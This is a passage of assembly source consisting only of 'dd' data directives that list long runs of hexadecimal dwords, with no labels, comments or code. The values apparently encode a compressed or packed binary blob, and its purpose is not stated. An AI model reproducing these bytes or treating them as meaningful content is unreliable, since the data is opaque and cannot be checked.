4E428C44h, 0C9649A12h, 98F41028h, 0FC14BCD4h dd 490AC87h, 750F23E7h, 620C2082h, 20A45548h, 3D34E07Dh dd 235410C1h, 28AE9190h, 0C4031F94h, 0B8A82667h, 58109678h dd 20D84B84h, 2CAA58A2h, 95612D3h, 3C501088h, 44C27F2Fh dd 0C401970Ch, 772D610Dh, 0A4C75BC0h, 0C2F46607h, 0C10683h dd 3EE91938h, 6A9D0F25h, 0E7238809h, 7C4CC04Fh, 0FD5D00C6h dd 73416271h, 222FEFA7h, 3FA000C7h, 60D00116h, 0E00BB0ADh dd 0B50F9B75h, 0A2DA6FAh, 660608C8h, 88AA4Fh, 828F898Ah dd 0A834A48Bh, 9F7C25F1h, 0BB018619h, 39D467B9h, 0BB9EAC60h dd 0F1C60B60h, 11C7B800h, 0A36B9923h, 16605318h, 2734160Dh dd 0B9CD2280h, 6C9EB300h, 83961FCh, 0DD25262Ah, 7CBD6019h dd 0C30AF400h, 1C488F1Fh, 0F11D5EBFh, 8709E23Ch, 0DA205224h dd 294BBE3h, 56F8495h, 705E9267h, 731FB900h, 0F84B380Eh dd 8C910778h, 802B3EC7h, 0B5F8AE74h, 0A72C6B1Fh, 8A14EA00h dd 4E48DBCh, 0A6732568h, 18588627h, 659DB407h, 3E82646Eh dd 7DCC8028h, 28BBE7Fh, 0C4BD9A51h, 2055AFA4h, 0F8944DF8h dd 0CE540461h, 0C03CFC95h, 0CFB97AACh, 20AE80A0h, 81BF24B1h dd 915F0D3Bh, 68FE1F23h, 17C7134h, 800B6D70h, 0EDB20869h dd 0AEA860B7h, 18D4C924h, 272E6C09h, 8B02C8A4h, 2BC807Bh dd 0E3D96723h, 40347C30h, 0A07CFE55h, 600DED35h, 670218F3h dd 0C5392127h, 6A00D4D9h, 295DDAE6h, 65012D14h, 0CE5B2060h dd 40FB1000h, 1207619Ch, 0EA792E21h, 9C462FD8h, 6092BD4Ah dd 0A65CD472h, 0A1361300h, 10D82C3Ch, 290776D9h, 0A5091B27h dd 5F00ECF2h, 6481A834h, 1980038Eh, 497BF5DFh, 0FD00BF86h dd 6A931CB9h, 78094627h, 0A8C42533h, 0CA37A480h, 0C10029B3h dd 13952369h, 79C5BFEh, 38C53F67h, 211BC00Fh, 8D605CF0h dd 319F4C18h, 0BA10410h, 0AFE5C6CCh, 231E8002h, 3C897521h dd 1641AC54h, 22F27B8Ah, 0B20993ACh, 0C2F4FE7Ch, 0E8FA2FC1h dd 48F89620h, 0A2008C0Ah, 1F4762A9h, 70604A23h, 7E376C48h dd 0C3FAF874h, 479DD2A8h, 0BDF0C1C5h, 0FBFEF0C0h, 0B2B83A67h dd 1DCE9B0h, 0CCAF5E86h, 575923A0h, 162107A4h, 592458C4h dd 996418EBh, 0DC7E676Bh, 0E260CCA1h, 37C003h, 0FE29710h dd 1DB5FE46h, 238F8B0Bh, 7724F81Ch, 0B020064h, 0D04EABDCh dd 0D206776h, 5FB0C182h, 857D1F9Eh, 84756DA0h, 0DF43B800h dd 14634BD3h, 94925EC4h, 21801505h, 8230B874h, 1ADC001h dd 30453FB0h, 0B46982E8h, 0F000D878h, 0C8029573h, 2077306Fh dd 92BD99F4h, 0C2A800E3h, 0D6203F40h, 0DF09ED70h, 0FDBA3Bh dd 0B1466CCh, 97A405FAh, 902F9102h, 0EEFC9E70h, 0A4C16D5Bh dd 8B00B66Eh, 27023FC3h, 817F599Bh, 3624C905h, 23BEC65h dd 514180ACh, 6112E846h, 74C8202Ch, 607641C7h, 0FA405F24h dd 0D5C25E0Ah, 4298F1B0h, 80EA02C3h, 96B3D440h, 161ED73Eh dd 2CA27116h, 0C1C58C16h, 389CD0h, 27C47C3Ch, 0A412A67Bh dd 0B0B0B05Ch, 3A82035h, 97C2E8C5h, 0C78CA941h, 0CF0BF014h dd 635CCB3Ah, 0F2C50084h, 23E44842h, 0E80F2FD3h, 9913D0CCh dd 0EC62BC03h, 68E90D0Bh, 2F347820h, 48A11078h, 403C67E4h dd 5F4F3396h, 8B04E7A8h, 0E4B545D5h, 0E10F670Ch, 0C7599DC2h dd 8FA9876h, 0D012C404h, 0F6D668FCh, 61185014h, 3312324Eh dd 494C4C8h, 0FCC073E7h, 2420B80Eh, 0DC049817h, 30ADED67h dd 3001603Eh, 34578C5h, 0D82460A2h, 2654AB00h, 9C85757Fh dd 502F005Bh, 0EE6D445Eh, 530F9A66h, 639A4BFh, 1F1031F6h dd 1FCFA0A6h, 37760F8Eh, 4F8F7B04h, 0CDC0986h, 789C100Ch dd 659201D6h, 1C71B480h, 0BEC507C6h, 0E3C40C20h, 1D8E033Eh dd 0A272284Dh, 37384858h, 0EBC04896h, 0C06E796Ch, 76210758h dd 23E829D2h, 61F5058h, 9E276CF3h, 0C4BA0020h, 0D61A5B18h dd 9135701Bh, 6000181Dh, 9D97A576h, 235F0354h, 0D1B743EFh dd 1AF5200Fh, 8033090Bh, 0A15F4D08h, 0FC961801h, 3E6C700Ah dd 0DB486B60h, 3BB78A0Dh, 0CB820C84h, 981B0159h, 9C348Eh dd 1C86F9ECh, 71033162h, 74AF076h, 51D4A929h, 63209048h dd 5EEAE198h, 1EFB7122h, 0A2B3FFh, 38A4C037h, 454696Dh dd 0DB4044C0h, 54F630C4h, 628A0F40h, 0CC955100h, 857B7827h dd 5FC401B7h, 231D8DD2h, 41944458h, 6E4375B0h, 0D4B0876Bh dd 0EC95194Bh, 0DE44D801h, 0E0E333AEh, 19F082Bh, 491C3E30h dd 9428456Dh, 18CC0F80h, 0C1A14D54h, 51D5E6A4h, 57CC6C50h dd 9133058h, 12DC0CC8h, 0D72D3D03h, 0C0B48B7Bh, 0A5D4A42h dd 2C7843E5h, 56EC05B8h, 80D45025h, 202DCC09h, 6CE70010h dd 2169D030h, 7EB7619h, 0ECB05284h, 0E0AC8A06h, 75A7559Ch dd 6CBF6805h, 0E805F933h, 0E404111Ah, 0D009E3Dh, 0AC4F80DFh dd 22F15100h, 0A8430162h, 0D590C73Bh, 0E9BC0027h, 583C047Eh dd 0C408D005h, 98248030h, 1E82AEC2h, 4DFEB00Eh, 0CC6870CCh dd 9A03B20Fh, 6F6CECB6h, 4C8050CFh, 0E56B407Dh, 0A8BB0731h dd 0C4528E58h, 9E608752h, 3D2537A0h, 50DF71h, 45075810h dd 30C0434Ch, 6D724023h, 0E265020Ah, 6968A36h, 84008C4Ah dd 0D58DAD7Eh, 39E3D3F7h, 0F1C2F7E7h, 8089C443h, 212AD270h dd 30722015h, 96082379h, 8DFF0B61h, 280C8666h, 92CF807Bh dd 4D0EE848h, 2050D4EFh, 9C829196h, 0E2890E3Fh, 2521CC33h dd 84549778h, 667B6CD1h, 903FBA04h, 7CC6C440h, 0CAB480A0h dd 0D0018924h, 70718EAh, 26645B9h, 0C38DEE9h, 50113FE1h dd 0DFB780h, 0D4F36E1Bh, 12976B4Ch, 4FECC374h, 42737103h dd 0F1D5255Eh, 0C1E43554h, 1C9407D1h, 0F90CB99h, 2070E783h dd 0C3F8578Bh, 8D081625h, 3F4F221Ch, 78CF59Eh, 83366A19h dd 20003772h, 6EB5789Ah, 0D4EAE6h, 0B8184DFDh, 53685E9Bh dd 6BDF9E00h, 529912E5h, 710C00E9h, 318EBEF5h, 0E67C16Ch dd 75000618h, 0C018C96Bh, 9DA1B310h, 2C3CA536h, 0C31A728Dh dd 80704730h, 995A68E8h, 5C907482h, 9818747Dh, 226D28A1h dd 0DD0B760Ch, 391C1095h, 0F8E1E842h, 0DC9226D4h, 0C318575Ch dd 7A200F5Dh, 0DBB91E59h, 8724C640h, 0A31E3878h, 980C367Dh dd 40A110D8h, 0B540A595h, 0B94A009Ch, 0FAF2E164h, 8CA0D98Ch dd 33B2558h, 14100793h, 20060D4h, 143A172Bh, 0B8C3D242h dd 0F0D53450h, 105B606Bh, 1A751B53h, 0FA2F6D00h, 44BBF3B7h dd 93DA05E5h, 4274C74h, 3EC0FC0h, 0A818DC1h, 479D6B38h dd 0DF0C0A98h, 0CE41F78h, 0BA181BE8h, 7A82770Bh, 0F9C8808Fh dd 285D5B4h, 226FB636h dd 1CA10B78h, 0D290981Ah, 75081200h, 0C7070C9h, 3B1B6BE3h dd 307C0418h, 9C33A000h, 6CB28137h, 65070409h, 80C9B3DAh dd 2ECBE724h, 0F74A4418h, 400142B0h, 0B4B8FF0Dh, 34E0B58h dd 636C58A3h, 90581DA5h, 1F42A20h, 0D51959A8h, 432AD3ECh dd 0B80C090Ch, 108F3024h, 6321016Ch, 0C9F1DD04h, 9718C080h dd 0FECE903Eh, 38B4A433h, 0FCB00922h, 0D3819BCAh, 0D6CED3B3h dd 6E1A1240h, 0D6A578A0h, 0CAFC8355h, 893902h, 5EC05A9Bh dd 6BA1B805h, 844049BAh, 6856242Ch, 596207E3h, 80505E47h dd 3370EABEh, 6B80F00h, 127CBE1h, 348B16F0h, 0EBF824h dd 4008E8C1h, 12DD8F7h, 0EB67AAEFh, 0C36619E9h, 12053187h dd 0D001DC68h, 73636DF8h, 0B858B318h, 0E2FFD763h, 78BEE59h dd 8957240Ch, 2BC8D3E7h, 65D283Ch, 0CB015AD1h, 6353FC23h dd 0E6D01C2Ch, 86F358B9h, 61E86844h, 14890018h, 0BD555024h dd 42E834DEh, 4EDC100h, 3EC7F581h, 0E91C0DAEh, 0ED30120Ah dd 0A70FBECh, 4740F7F6h, 0C210E0BBh, 1C8BDD51h, 0C6E97A84h dd 5E3C7410h, 0FBFF7C8Fh, 832966F9h, 0F0E99C0Eh, 5D220ED6h dd 99B4C601h, 6F64F263h, 5A545405h, 3C10C281h, 0C0878C06h dd 0E959195Ch, 883349CCh, 3D8AA0FDh, 0B3683206h, 0FA33B70Fh dd 0B75028DFh, 9E5F4805h, 0C88F10Ch, 40C1F857h, 60DF3305h dd 1099828Ch, 7FBD0FBFh, 0CE464F7Ah, 30601422h, 88505370h dd 33517DCCh, 747B85EFh, 0FD9986EDh, 79655C7Eh, 0A50C83A7h dd 0A8B81889h, 18BC36Eh, 552C9B6Bh, 50230FE9h, 95AD5ACh dd 0AC1C6F33h, 19477C56h, 24BF243Ch, 0F821C020h, 0D5148B68h dd 0C90989C5h, 4C010654h, 0C1313B12h, 0E355E99h, 0F2CE702Dh dd 285A4E48h, 5E7D0705h, 0F379870Fh, 0E9D8A16Ah, 7880E8FBh dd 13BAB951h, 0C10F14A4h, 0E18106E1h, 3D2A60E2h, 3153D0DBh dd 6C7CA5h, 56D9CBF1h, 59CF0143h, 32E95E3Bh, 8E837A5Ah dd 455F4F80h, 824A6998h, 0CC6DF0C7h, 822A38F8h, 28826CA9h dd 9B491D2Ch, 0B0AECA5Dh, 351B55CFh, 54D7F7E1h, 0B39B0807h dd 794349BFh, 12D5B235h, 7EBDA621h, 11280505h, 4CA246Bh dd 81895648h, 5EC85A5h, 0A10DF05Eh, 888AA113h, 60E9C481h dd 710A50EEh, 83464212h, 45E97106h, 1C8724D1h, 91A18C0Ch dd 259258D1h, 0F5EDE2E4h, 6C41FF2Dh, 837A9ACEh, 2FF29029h dd 0F720CED9h, 0C4498Ah, 0E0F190D3h, 591FCB29h, 35798951h dd 0CD4133CEh, 6181BF5Bh, 283159F8h, 1EBC5EF7h, 3C97481Fh dd 37CAFAA8h, 9C5CDBB4h, 639233D8h, 66F9F600h, 0E9CCB60Fh dd 3554D86h, 61632C24h, 20977DEFh, 9098FB1Ch, 6542900Eh dd 22F7C933h, 0A5D8AAAh, 4CD41298h, 996281C9h, 4F767114h dd 3C0AB5A7h, 501C9C65h, 0D51A41A6h, 19398008h, 7651D927h dd 12016083h, 4E244AE5h, 5A3A2D0Eh, 0C8298543h, 81F8F84h dd 58312E42h, 81BA6865h, 0CCAE827Dh, 172E06Dh, 59C8013Fh dd 19B21A2h, 21E8290Eh, 524ED132h, 716421D0h, 3BE17F69h dd 0EC58B59Fh, 5067FA46h, 4887B9E6h, 50CC252Ch, 1BAB0584h dd 0A003AFBh, 4706EFC1h, 1494F781h, 0BC436AF8h, 1F1A8D40h dd 94FB2919h, 5F3708EBh, 0B486DB0Eh, 0AB246A55h, 68C14220h dd 1833121Fh, 0CF869850h, 0C3DD5210h, 5A79B830h, 64FB54E1h dd 0B45B624h, 0ABD8C30h, 2F904307h, 810300BEh, 0DFF554EDh dd 90011028h, 8F071BAAh, 8A6B5768h, 0EDE986B5h, 86A054D3h dd 4482731Dh, 0C95CDE92h, 0ABAA5E50h, 64F09CBAh, 5F5489DEh dd 65F11BB3h, 0E0935374h, 706005D9h, 5BFA767Ch, 88049792h dd 0C63059E8h, 5051B980h, 0E91709B4h, 91A557EEh, 0D64980EAh dd 0F9A4148Bh, 7080DB93h, 53D1367h, 0DF7200D7h, 1E88330h dd 5E02BF57h, 31665386h, 0B9B783F8h, 2D783CD8h, 187F0974h dd 0F002C589h, 0B800DD51h, 1F5E6F96h, 79C70154h, 0A881EF9Ch dd 3C555C0Bh, 1E301807h, 0EEC09F43h, 79777C24h, 9F0CC6ECh dd 0C600651h, 159F4B5h, 5EF58938h, 0C55DEF29h, 3302D083h dd 316C8998h, 33E90D06h, 8784F9B0h, 4D289F5h, 580332B4h dd 8A4B83AAh, 62B9BB53h, 9909322Dh, 0F0249475h, 30F87709h dd 0BE0E641Ch, 0D93050D0h, 0F3BC06Ah, 1757617h, 640597F6h dd 0D9E9565Dh, 2490B9DEh, 0DD88A20Ch, 173020D2h, 60E28952h dd 1B796806h, 0AED34792h, 0F46CC504h, 0BFC1BD90h, 72FE0E44h dd 0CF4DF931h, 87123008h, 0B9B30F1h, 3E1A6808h, 15831301h dd 34488EFBh, 0B06F442Ah, 25FC592Eh, 69027879h, 0F00C9F8Eh dd 0CA833436h, 0EA81005Ah, 383B35AEh, 95CA02CEh, 0C34FEF54h dd 3AD693B3h, 873CF708h, 52AEE917h, 807C6099h, 78CBDBCDh dd 68DC9816h, 31851FDFh, 5442573Eh, 0C910AD97h, 2014202Dh dd 13BD872h, 847899D9h, 6B33BA28h, 0B6407257h, 861AC378h dd 693C0ECh, 8C8E2ED1h, 66CC38Bh, 0F8038126h, 0CDB93740h dd 0F5000F4Ah, 0F71D0601h, 0A94B51DBh, 810C01E3h, 0D56408E3h dd 1FAF6269h, 0DAC4F6FCh, 0FADD1C8Bh, 0D931C264h, 0E28B0D06h dd 0A44D578Ah, 45597CBh, 0A757C572h, 87095556h, 0FF5BF294h dd 0B9F3E02Fh, 986A9374h, 323D05F2h, 0C3410BA7h, 35A7088Dh dd 0BFF34A53h, 0D57C6596h, 31638358h, 0FFBD06B4h, 1B014C03h dd 6DCCF841h, 21511472h, 0C84452D0h, 9AFEB270h, 0BAB7F0AAh dd 4D53587Ch, 9D35944h, 5BDF015Ah, 617BCB08h, 332C9468h dd 0E50073BDh, 32CDB850h, 0FE2D2F5Eh, 0FAF1649h, 0A46C05F7h dd 0B9DF2715h, 0C940E73Ah, 5C908DC0h, 1F2D6816h, 21E98130h dd 65DAD3D1h, 98E38483h, 3AB857B8h, 0CEB015B2h, 0A3459720h dd 62446BBh, 0E4CCE909h, 6847214h, 2F56E910h, 32D8BF00h dd 0E78173F4h, 0E43DE108h, 4AB5026Fh, 81C044E2h, 0EF3E4769h dd 0E576731Eh, 15E0F02h, 0C8335FFDh, 0C0186F1Fh, 0D2F6EE67h dd 892EA71Ch, 539DE1F1h, 0F564E397h, 91C80624h, 0FF4C5129h dd 52743745h, 22A6E481h, 20026442h, 0EA885266h, 0D3E8DDE4h dd 0CB523F1h, 20D5F602h, 0E95080EEh, 38683334h, 47820785h dd 5F9387F2h, 5E823035h, 0EBF607D0h, 0EF19306h, 31C23366h dd 8B0DCF06h, 2D1E2C17h, 0B2EC05A3h, 1A1FC64Dh, 0F2ACB2EFh dd 2C95962Fh, 92FF21E0h, 0CF7E04F1h, 1D611282h, 2725C330h dd 61483146h, 0D366B302h, 0F8E5343Ch, 94FECF52h, 0A02227Dh dd 575AD701h, 995F1352h, 0A209D21Dh, 0C9BCE9C5h, 0EF205D3Ch dd 1E5E250h, 5BDA2145h, 4007EAC1h, 942A4A3h, 882E2C90h dd 89B95EEFh, 7363D4Ch, 0E63CD1B3h, 947A036Ah, 6EEC125h dd 0B241654Ah, 10F73E9Eh, 1E097D20h, 1646A65Fh, 12216DFh dd 0D87F7EE2h, 0CDB765E4h, 5FB424FEh, 0E6817393h, 558C1EA4h dd 54C30C84h, 10DB069h, 7873B09Ch, 0D5A2C49h, 80D59DA9h dd 0D3F3C581h, 8904ECDFh, 3ADE9EAh, 20C2DD2h, 88024CC9h dd 0E5C8C1C5h, 1F89FA98h, 56816784h, 1808BE83h, 56096C01h dd 7DF4051h, 28B8DCE5h, 0D1785D4Eh, 4CFEF644h, 0DA420FC9h dd 311A3348h, 0BF0963E1h, 637B8300h, 0EAB06E28h, 8143E72Ah dd 0EF72ED54h, 6813C8BAh, 3D5925BCh, 9734F6A0h, 40240C1h dd 5A84C754h, 9AC4A8ACh, 0C101E209h, 0E44E07E6h, 5E815510h dd 60371422h, 0CEB8E39Dh, 2A100A58h, 68048A2Dh, 725212D5h dd 2F956895h, 63368C83h, 18C67448h, 0D12FC588h, 4D9AEE50h dd 81C470Fh, 225D0C01h dd 5FEC12EDh, 919353B2h, 711BF45h, 8BEE31D0h, 0E0129C2Ch dd 537D73F6h, 9E58D8BFh, 9CE9621Bh, 0C3A55D78h, 22C1838Ch dd 8061C031h, 0EEC0CDC6h, 51660201h, 0FBB45053h, 5AB7A8DBh dd 0E9FC1328h, 557A80AAh, 21EEF68h, 0A9CD26B8h, 0D8804434h dd 49C30E80h, 9DFADDF7h, 0CC74914Eh, 0D2B6B484h, 0A9945C24h dd 0A5E909DBh, 53472C9h, 0DC0125D9h, 0F9536465h, 44C7CDC2h dd 90F57CA4h, 907C0D38h, 620F1CECh, 0EB814605h, 499C0D0Bh dd 44196F0Ch, 5EF30D29h, 0C2976851h, 7EACD559h, 9318CC8Dh dd 0E26CC11h, 30BA81B7h, 462068E7h, 7BA64391h, 63E953ECh dd 5854DB90h, 8A3EB22Ah, 8312C642h, 5C0492EEh, 0E2E230A8h dd 0FACC5EF7h, 0A8847D92h, 54CE925h, 70CD66CBh, 46C53442h dd 427B31A0h, 8ACD4C0Bh, 0F02052Eh, 54C4F613h, 69FCD0A4h dd 52096B03h, 97CED632h, 0DD209A9Ah, 0FC95A041h, 33580FBh dd 385ADC12h, 0EB2960C0h, 69E92D5Dh, 3CE50D09h, 0B598CB20h dd 3AE046C4h, 4EAC29E4h, 69373134h, 0F110A487h, 801F7650h dd 370EC981h, 0C05EE13Dh, 56F91DF1h, 6F5498FCh, 0D1B37FE2h dd 3884E0C9h, 5452D922h, 0C01B3F26h, 53BA713Dh, 0F8910CC3h dd 0E58F888Bh, 0CA290532h, 0FED30059h, 0F7134A2Bh, 586EDA4Ch dd 0E0428EFAh, 467D72CAh, 1BE91862h, 9AC1B153h, 0EBE6902h dd 4159CD01h, 57AC4AA6h, 0FE8909ECh, 233C2005h, 2CD3537Ch dd 0E68E4EDDh, 0D060ABE4h, 58C38843h, 1A7C5974h, 18D838EEh dd 80646032h, 343A902Ch, 88510FD0h, 547AA5C7h, 0DF1266B3h dd 0BA22C871h, 54A8F0Ch, 246C66Ah, 682AD138h, 0E90311ECh dd 59313D51h, 17094B98h, 0FED6ED9Bh, 0EA873032h, 718E0025h dd 2C68C17Ch, 80B857E9h, 7D742DADh, 1EF673FEh, 2504D3D6h dd 83028DDDh, 0F9D202C7h, 7454495Ah, 0FC83A53h, 16393768h dd 0E3D86021h, 40BF5A80h, 0B9515462h, 290B4261h, 55285FF9h dd 0A7782C4Bh, 848B49h, 0D1C281EAh, 0FA6A5E2Eh, 49625C04h dd 0B4BD3C88h, 0DE8B6DDAh, 0D5FA011Eh, 0D08B0B3Ch, 56518DB0h dd 2AAC8D93h, 2730A082h, 8124E15Fh, 0E3AAECCh, 4E685751h dd 0BB8F30B2h, 0E6604DE2h, 0A2FBF346h, 82EC50C2h, 17CAB1FEh dd 341F7202h, 314B4A70h, 1B114A41h, 0A9304256h, 0B4121F25h dd 80D6EC58h, 57501AF2h, 43992969h, 0E879FAB2h, 0D1C7742h dd 0D359669Dh, 12E660DAh, 2E80CB40h, 103920CFh, 4C3C4C28h dd 0D10A16A0h, 7F20CAh, 494662B8h, 0E8D14869h, 0DE80E913h dd 695B5392h, 0B86C5CD1h, 0E9B0AD48h, 10D68091h, 0CBB02786h dd 678A5D08h, 5182082Bh, 4056F02Eh, 6D83133h, 9C15C0Dh dd 52E908EDh, 69C23F90h, 76090D14h, 4C7C0BA6h, 0E22B022Dh dd 0C2EB2445h, 312701CEh, 8DD4C8Eh, 2CAB2968h, 0FC1A0FDh dd 0C6F1E53Bh, 31060133h, 80215FFBh, 7E9C1FEh, 9113D768h dd 0CB579ED5h, 6903922h, 0AF33711Ch, 0C9DECA60h, 836120BDh dd 8069231h, 0E806BCFEh, 0E1A639ADh, 0A4302633h, 2D59938Bh dd 0E2090DDEh, 0A281F0Fh, 8F605B5Eh, 2C4944BEh, 66C4767Eh dd 6AB35E29h, 20E80A9Eh, 2A61C505h, 8B006AE6h, 4E18622Bh dd 13DD7F01h, 884171E9h, 0C0908148h, 0D27E9C0Ch, 0D85AB964h dd 28A47E57h, 814E3F00h, 903EA0E6h, 0EEC10B01h, 0B38F4603h dd 2CB777A0h, 0F1BEE7E9h, 55504705h, 0D8AB2282h, 62030F30h dd 10496838h, 62E446C9h, 0D0866AC4h, 3795308h, 5293E954h dd 54610C4Ah, 179AB0Fh, 48C97E10h, 46C7008Fh, 2960C257h dd 4D54FCEFh, 0FD281A63h, 0B32F087h, 835F3AEDh, 0F487F506h dd 0CE8F5C50h, 12A23703h, 92C1E3D1h, 5EA64105h, 475AE30h dd 24E9C321h, 10BD0023h, 3E60B67Eh, 0F516EE09h, 0CAD6CD26h dd 47201564h, 0C3012CCBh, 1D22A8E9h, 0EC7E0BF9h, 70B53DEFh dd 2C83A22Ch, 48104002h, 54DF024Ch, 0D310F0C0h, 17EB581Bh dd 73675BD8h, 349C3F3h, 32FBE0Ah, 1FD2106Eh, 0BF07E250h dd 42DF176Bh, 2C2D31A3h, 140DEB57h, 21D3AF1Ch, 6225B003h dd 43A21A25h, 5B0DA577h, 7BE13DC2h, 9E07283Eh, 3014490Ah dd 54497D98h, 0AD429ED5h, 56674602h, 1F7C6A6Dh, 7CA0579h dd 3A980343h, 1ABEA40Dh, 25085E09h, 55EE20CFh, 3F2D05BDh dd 0E5833EFFh, 193349DEh, 5CE60C00h, 55E970BBh, 6578D62Eh dd 0E90160F0h, 92A2DA2Bh, 105499C4h, 0DB60F7F5h, 6531B064h dd 36C58052h, 1219A3Bh, 0DF44A0F5h, 0D6710156h, 0B41EAC81h dd 55E9D4DDh, 7B79F0B1h, 79CFC08Ah, 7FD11F09h, 72950D5Ah dd 31E2E018h, 51245714h, 4BCD01E9h, 0EAC1092Ch, 69C20820h dd 2F03A1CFh, 364F31ACh, 8087EB38h, 47961AE9h, 0D9295B04h dd 3E867281h, 56457E9h, 621C26E9h, 52E7402Fh, 311D68A0h dd 59965EF2h, 0C42DB310h, 93D56FE9h, 0C7258E12h, 86EFF104h dd 31686ECCh, 0F6331229h, 0D5E06DCEh, 0B28C5C35h, 25135641h dd 151B6932h, 9F549628h, 5CF57135h, 85926CD9h, 0C28E2854h dd 90D13D40h, 3CBDA05Ch, 623448EEh, 0F1D98600h, 65350545h dd 0E977FA04h, 68F4D726h, 3053A424h, 0C811081Bh, 620B2559h dd 5068604h, 1CD14924h, 4A8D3F7h, 0BA84185Ah, 2FEC3A78h dd 3D83080h, 0C0A9B551h, 0ED9808E5h, 0D561F603h, 0F580060Ah dd 0E030D371h, 0BDF1402Fh, 3BA482B9h, 470F2E19h, 0B12168D8h dd 0C45147BEh, 3659C87Fh, 0BDB6033Bh, 3AA8A650h, 0E2C15A80h dd 0B8D2F706h, 1A290154h, 0A5E92D64h, 5D22957Bh, 1EE479DCh dd 0D10012D2h, 71174BB1h, 8147005Fh, 0AC6421EFh, 0F97A8923h dd 2A7E0504h, 0AC8217D2h, 0A25B05E0h, 685C04E3h, 15CD0CB9h dd 953A0430h, 78104C3Ah, 0D6B65DEFh, 0D0AEE962h, 1B6BAE1h dd 6D0A4412h, 7001EA83h, 3818FE2Ah, 0D9DA0E2Ch, 57AD3066h dd 9B1BD20Ch, 0D55E01FAh, 50ACCF62h, 6AB900A9h, 817FD607h dd 68057EF1h, 0CE31AF18h, 25E9E888h, 0A3114D61h, 2CD80102h dd 31BC212Ah, 947E41C6h, 0C2AFA7CAh, 0D8C162E5h, 2F9069h dd 418C74B4h, 0E63E945h, 0ED04B191h, 0CAB8AE66h, 56F82322h dd 63FBBCF0h, 0FB6809DEh, 588F1962h, 0E06BDC02h, 92CCDDFBh dd 81F83282h, 0AC68CCB1h, 4F89442h, 4B03F05Eh, 0BE70765Bh dd 0E1A3C380h, 62738A60h, 1926747h, 4C857F59h, 0AC16FA48h dd 0BAC9E10h, 2C8845Ch, 0FC5A3DBh, 0FC67746Bh, 28C5F926h dd 0C287F788h, 0D7CB8139h, 82275041h, 0FB3B6A0Ch, 97F9414Eh dd 9640693h, 7129069Eh, 9381A427h, 0A7A8487Dh, 5A48D331h dd 0DA841692h, 0FAEFC6D0h, 7DB47F5Fh, 806D4EF1h, 1B72BF5Ch dd 253842Eh, 3A41E713h, 28D7B450h, 0B00FB5E3h, 586EE9FDh dd 2EB995FDh, 550474F8h, 44B3E5FAh, 64DA9A27h, 0C6533047h dd 4833CDE7h, 0E2A0A24h, 0A42BA08h, 92D1CBBh, 5464D8B8h dd 8CEA8034h, 6C3892A1h, 172C00B5h, 35122E6Fh, 3E077800h dd 5D0F72Fh, 802010Bh, 97BF576Ch, 292EEC99h, 38B38295h dd 0A737FB3Dh, 1A6FF722h, 1A876604h, 70492D31h, 0BEE456DDh dd 1A516114h, 2A08E9F0h, 0C9096800h, 4D79840Fh, 4510B2C7h dd 132E7540h, 8BEA2376h, 65CA7717h, 93005E2Ch, 0C819135Ch dd 1F935D91h, 72856805h, 4A384F8Dh, 1343D324h, 85BEB220h dd 0F152CD44h, 75F71706h, 96E20B0Ah, 0E85551Dh, 92275325h dd 75745B7Dh, 53E69827h, 18B90451h, 0C716196Ah, 932B0126h dd 0CEA34006h, 777CAF4Bh dd 7F7EE13Eh, 0CFED057Bh, 0BE62A04h, 19D71B21h, 0E008E3C3h dd 702604F3h, 60189507h, 529EF5E9h, 0D892491Dh, 0ACF24Bh dd 0C5802031h, 0E42C3F99h, 92E4F02Eh, 81E625B9h, 3108365Ah dd 871F31D6h, 12A516Eh, 7D16035Bh, 0C6293D16h, 3BB6C50h dd 48670CC0h, 0FC01DE31h, 1B036856h, 0E8307340h, 0FB29804Ah dd 0F5B85F60h, 0C10D5819h, 0B493B90Ch, 6CEEF017h, 15E47818h dd 3628F60h, 0DE0105D8h, 7B27FCE9h, 940E6B5Dh, 7DC11F95h dd 0E079088Bh, 0A790E42Eh, 0FB894C03h, 0E38D44FDh, 0B895CC02h dd 9D0E7B19h, 2D3BC3E0h, 3F7EEC2Ah, 8D609328h, 36629B39h dd 821C2E45h, 783E8908h, 68F59E68h, 22E402F7h, 69546BA2h dd 25525994h, 0EC138B1Ch, 9744B055h, 0BB5B5309h, 760C839Ah dd 0D00182C4h, 0BE80525Ah, 54053590h, 0E9DA890Bh, 33C9C0D5h dd 0A0E4992Ch, 4EE49092h, 83352857h, 4CC7E988h, 5CC73D1Fh dd 0CF04A9C1h, 0C28109C0h, 8D78FBC0h, 4D9AE883h, 428654B2h dd 137C68A8h, 1897D6EEh, 91DA0169h, 7B2D259Ah, 7A7430EAh dd 16691941h, 821D732Ch, 5EF53158h, 6EB34705h, 7389A02Fh dd 21287982h, 0C8C731F1h, 6C7AD0F2h, 169325B3h, 0B279AD92h dd 5F9E992Fh, 0DC48A432h, 5C203C4Ah, 4228555Ah, 0A0DB5C68h dd 0E9EF6131h, 26553C13h, 203E245Eh, 0C681642h, 0D8498C7Eh dd 145B2A04h, 76F3DBF7h, 0C087451Dh, 0E9FFC383h, 0C7BC73B3h dd 226885E9h, 0FF64D5D0h, 4AEDF032h, 400BDDC1h, 31029255h dd 0CD176C72h, 0C942F2E9h, 0D85BF888h, 805A1D87h, 132812F3h dd 0E92B05B8h, 5DBCD2E5h, 0D56BC1h, 99209D68h, 5E5485DAh dd 49358052h, 0C1F4816Eh, 2807E026h, 255CC308h, 5D3EAE45h dd 3C5257FFh, 5C07D78Fh, 95F392F4h, 8A60B625h, 4FBAFBB0h dd 7E161E4Eh, 36E134C7h, 4701D0Eh, 0C03B12F9h, 0A4D0155h dd 535CE79h, 130CAFF0h, 2FD1C74h, 9A14C7D4h, 283F6656h dd 89F308E9h, 9247B9D0h, 2194075h, 1F484D46h, 7175C105h dd 0F6A88043h, 0B7A0916h, 1304EF2Ch, 857A0102h, 0C08A8B0Ch dd 4E82826h, 0EB805966h, 1888147h, 14F24A05h, 7FC9272Ch dd 9B0BEE4Ah, 4A4D82ACh, 8CAA5138h, 5FFDF3E4h, 0AE6F0C96h dd 4E7FFF7Fh, 0AFB5F641h, 7D96EA30h, 0C01A1DF2h, 9CB151FFh dd 71F7C1FEh, 59CAC03Fh, 0F1EED7FEh, 5305E29Eh, 30325B54h dd 97625097h, 580AEF16h, 55577568h, 25A1BE81h, 4B200EA6h dd 842216DBh, 568B0003h, 0E9335436h, 3275D237h, 0C62E0999h dd 400B982Bh, 0F725666Ch, 3A2DC6F1h, 244F8B54h, 0CE64EC2Ch dd 0DA62304Fh, 3964669Eh, 29E04920h, 831FFA29h, 1B7B48EAh dd 0E9F201B0h, 305855Eh, 8C1E895Bh, 0CDA7905Bh, 6F3C82h dd 46D6F75Ah, 